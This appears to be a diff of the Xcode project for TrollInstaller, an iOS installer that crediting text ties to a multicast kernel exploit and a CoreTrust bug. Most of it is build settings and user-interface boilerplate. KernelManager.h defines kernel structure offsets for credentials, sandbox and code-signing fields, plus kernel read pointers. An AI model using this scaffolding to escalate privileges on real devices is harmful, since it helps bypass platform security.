8CE2BD7228AD5E060058FBAD /* KernelManager.m */,
8CE2BD7628AD5E1A0058FBAD /* kutil.h */,
8CE2BD7528AD5E1A0058FBAD /* kutil.m */,
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */,
8C4D6A3428C17B010004DEA4 /* unarchive.m */,
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */,
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */,
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */,
8CE2BD3428AD5D730058FBAD /* Info.plist */,
8CE2BD3528AD5D730058FBAD /* main.m */,
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */,
);
path = TrollInstaller;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */;
buildPhases = (
8CE2BD1C28AD5D710058FBAD /* Sources */,
8CE2BD1D28AD5D710058FBAD /* Frameworks */,
8CE2BD1E28AD5D710058FBAD /* Resources */,
);
buildRules = (
);
dependencies = (
);
name = TrollInstaller;
productName = TrollInstaller;
productReference = 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
8CE2BD1828AD5D710058FBAD /* Project object */ = {
isa = PBXProject;
attributes = {
BuildIndependentTargetsInParallel = 1;
LastUpgradeCheck = 1340;
TargetAttributes = {
8CE2BD1F28AD5D710058FBAD = {
CreatedOnToolsVersion = 13.4.1;
};
};
};
buildConfigurationList = 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */;
compatibilityVersion = "Xcode 13.0";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = 8CE2BD1728AD5D710058FBAD;
productRefGroup = 8CE2BD2128AD5D710058FBAD /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
8CE2BD1E28AD5D710058FBAD /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */,
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */,
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */,
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
8CE2BD1C28AD5D710058FBAD /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */,
8CDF7C4C28AE47A200837105 /* spray.c in Sources */,
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */,
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */,
8CDF7C5128AE47A200837105 /* exploit.c in Sources */,
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */,
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */,
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */,
8CDF7C5028AE47A200837105 /* necp.c in Sources */,
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */,
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */,
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */,
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */,
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */,
8CE2BD3628AD5D730058FBAD /* main.m in Sources */,
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXVariantGroup section */
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
8CE2BD2D28AD5D720058FBAD /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */ = {
isa = PBXVariantGroup;
children = (
8CE2BD3228AD5D730058FBAD /* Base */,
);
name = LaunchScreen.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
8CE2BD3728AD5D730058FBAD /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
};
name = Debug;
};
8CE2BD3828AD5D730058FBAD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = iphoneos;
VALIDATE_PRODUCT = YES;
};
name = Release;
};
8CE2BD3A28AD5D730058FBAD /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_TEAM = 3Z56NQJ65R;
GENERATE_INFOPLIST_FILE = YES;
INFOPLIST_FILE = TrollInstaller/Info.plist;
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
INFOPLIST_KEY_UIMainStoryboardFile = Main;
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-larchive",
);
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Debug;
};
8CE2BD3B28AD5D730058FBAD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_TEAM = 3Z56NQJ65R;
GENERATE_INFOPLIST_FILE = YES;
INFOPLIST_FILE = TrollInstaller/Info.plist;
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
INFOPLIST_KEY_UIMainStoryboardFile = Main;
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-larchive",
);
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8CE2BD3728AD5D730058FBAD /* Debug */,
8CE2BD3828AD5D730058FBAD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8CE2BD3A28AD5D730058FBAD /* Debug */,
8CE2BD3B28AD5D730058FBAD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 8CE2BD1828AD5D710058FBAD /* Project object */;
}

View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>

View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>

View File

@ -0,0 +1,14 @@
//
// AppDelegate.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@end

View File

@ -0,0 +1,40 @@
//
// AppDelegate.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "AppDelegate.h"
@interface AppDelegate ()
@end
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
return YES;
}
#pragma mark - UISceneSession lifecycle
- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options {
// Called when a new scene session is being created.
// Use this method to select a configuration to create the new scene with.
return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role];
}
- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet<UISceneSession *> *)sceneSessions {
// Called when the user discards a scene session.
// If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
// Use this method to release any resources that were specific to the discarded scenes, as they will not return.
}
@end

View File

@ -0,0 +1,11 @@
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 245 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.7 KiB

View File

@ -0,0 +1,116 @@
{
"images" : [
{
"filename" : "40.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "60.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "20x20"
},
{
"filename" : "58.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "87.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "29x29"
},
{
"filename" : "80.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "120.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "40x40"
},
{
"filename" : "120-1.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "60x60"
},
{
"filename" : "180.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "60x60"
},
{
"filename" : "20.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "20x20"
},
{
"filename" : "40-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "29.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "29x29"
},
{
"filename" : "58-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "40-2.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "40x40"
},
{
"filename" : "80-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "76.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "76x76"
},
{
"filename" : "152.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "76x76"
},
{
"filename" : "167.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "83.5x83.5"
},
{
"filename" : "1024.png",
"idiom" : "ios-marketing",
"scale" : "1x",
"size" : "1024x1024"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="EHf-IW-A2E">
<objects>
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="53" y="375"/>
</scene>
</scenes>
</document>

View File

@ -0,0 +1,83 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="20037" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
<device id="retina6_1" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="20020"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="414" height="896"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Xbu-Hl-yex">
<rect key="frame" x="163.5" y="800" width="87" height="44"/>
<state key="normal" title="Button"/>
<buttonConfiguration key="configuration" style="plain" title="Install">
<fontDescription key="titleFontDescription" type="system" pointSize="25"/>
</buttonConfiguration>
<connections>
<action selector="installButtonPressed:" destination="BYZ-38-t0r" eventType="touchUpInside" id="8iI-fe-hIY"/>
</connections>
</button>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JVS-Tm-8qS">
<rect key="frame" x="156.5" y="44" width="101" height="60"/>
<string key="text">TrollStore
Installer</string>
<fontDescription key="fontDescription" type="system" pointSize="25"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="5" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="1a2-Wm-Mcd">
<rect key="frame" x="51.5" y="123" width="311.5" height="101.5"/>
<string key="text">Credits:
@jaakerblom: multicast_bytecopy exploit
@xina520: get root technique
@LinusHenze: CoreTrust bug
@zhuowei: CoreTrust bug writeup</string>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Wzs-Lb-XiN">
<rect key="frame" x="207" y="453" width="0.0" height="0.0"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<constraints>
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="3hT-dN-t3y"/>
<constraint firstItem="JVS-Tm-8qS" firstAttribute="top" secondItem="6Tk-OE-BBY" secondAttribute="top" id="QXJ-WA-nNb"/>
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="c2Z-Vi-FvF"/>
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerY" secondItem="6Tk-OE-BBY" secondAttribute="centerY" id="gpk-JM-ZKB"/>
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="top" secondItem="JVS-Tm-8qS" secondAttribute="bottom" constant="19" id="kjo-EL-B0G"/>
<constraint firstItem="Xbu-Hl-yex" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="pWV-JU-YTc"/>
<constraint firstItem="6Tk-OE-BBY" firstAttribute="bottom" secondItem="Xbu-Hl-yex" secondAttribute="bottom" constant="18" id="rj9-jo-r9k"/>
<constraint firstItem="JVS-Tm-8qS" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="yNr-e8-C4N"/>
</constraints>
</view>
<connections>
<outlet property="statusLabel" destination="Wzs-Lb-XiN" id="Vrz-B5-otQ"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="28.985507246376812" y="83.705357142857139"/>
</scene>
</scenes>
<resources>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</systemColor>
</resources>
</document>

View File

@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<false/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
</dict>
</plist>

View File

@ -0,0 +1,232 @@
//
// KernelManager.h
// NonceSet15
//
// Created by Lars Fröder on 02.06.22.
//
#import <Foundation/Foundation.h>
struct StaticOffsets
{
uint64_t kernel_base;
uint64_t kauth_cred_table_anchor;
uint64_t allproc;
uint64_t sandbox_secret;
uint64_t cs_debug;
};
struct SlidOffsets
{
uint64_t kauth_cred_table_anchor;
uint64_t allproc;
uint64_t sandbox_secret;
uint64_t cs_debug;
};
struct UCredOffsets
{
uint64_t posix_offset;
uint64_t label_offset;
uint64_t audit_offset;
};
struct TaskOffsets
{
uint64_t itk_space_offset;
uint64_t t_flags_offset;
uint64_t rop_pid_offset;
uint64_t jop_pid_offset;
uint64_t disable_user_jop_offset;
uint64_t threads_offset;
uint64_t map_offset;
};
struct ThreadOffsets
{
uint64_t task_threads_offset;
uint64_t disable_user_jop_offset;
uint64_t rop_pid_offset;
uint64_t jop_pid_offset;
};
struct ProcOffsets
{
uint64_t task_offset;
uint64_t pid_offset;
uint64_t comm_offset;
uint64_t name_offset;
uint64_t ucred_offset;
uint64_t textvp_offset;
uint64_t textoff_offset;
uint64_t csflags_offset;
uint64_t fd_offset;
};
struct FileDescriptorOffsets
{
uint64_t ofiles_offset;
};
struct FileProcOffsets
{
uint64_t glob_offset;
};
struct FileGlobOffsets
{
uint64_t data_offset;
};
struct ItkSpaceOffsets
{
uint64_t is_table_offset;
};
struct IpcEntryOffsets
{
uint32_t size;
};
struct CsBlobOffsets
{
uint64_t team_id_offset;
uint64_t platform_binary_offset;
uint64_t pmap_cs_entry_offset;
};
struct UbcInfoOffsets
{
uint64_t csblobs_offset;
};
struct VnodeOffsets
{
union un {
uint64_t mountedhere;
uint64_t socket;
uint64_t specinfo;
uint64_t fifoinfo;
uint64_t ubcinfo;
} un_offset;
uint64_t type_offset;
uint64_t flag_offset;
};
struct VmMapOffsets
{
uint64_t header_offset;
uint64_t pmap_offset;
uint64_t flag_offset;
};
struct VmHeaderOffsets
{
uint64_t links_offset;
uint64_t numentry_offset;
};
struct VmMapLinkOffsets
{
uint64_t prev_offset;
uint64_t next_offset;
};
struct CsDirEntryOffsets
{
uint64_t trust_level_offset;
};
struct VmMapEntryOffsets
{
uint64_t links_offset;
uint64_t flag_bits_offset;
};
/*struct PmapOffsets
{
}*/
#define un_mountedhere un.mountedhere
#define un_socket un.socket
#define un_specinfo un.specinfo
#define un_fifoinfo un.fifoinfo
#define un_ubcinfo un.ubcinfo
struct StructOffsets
{
struct ProcOffsets proc;
struct UCredOffsets ucred;
struct ItkSpaceOffsets itk_space;
struct TaskOffsets task;
struct ThreadOffsets thread;
struct IpcEntryOffsets ipc_entry;
struct FileDescriptorOffsets fd;
struct FileProcOffsets fproc;
struct FileGlobOffsets fglob;
struct VnodeOffsets vnode;
struct UbcInfoOffsets ubc_info;
struct CsBlobOffsets csblob;
struct VmMapOffsets vmmap;
struct CsDirEntryOffsets csdirentry;
struct VmHeaderOffsets vmheader;
struct VmMapLinkOffsets vmlink;
struct VmMapEntryOffsets vmentry;
};
NS_ASSUME_NONNULL_BEGIN
@interface KernelManager : NSObject
{
}
@property (nonatomic) uint32_t (*kread_32_d)(uint64_t addr);
@property (nonatomic) uint64_t (*kread_64_d)(uint64_t addr);
@property (nonatomic) void (*kread_32_id)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic) void (*kread_64_id)(uint64_t addr, uint64_t* outPtr);
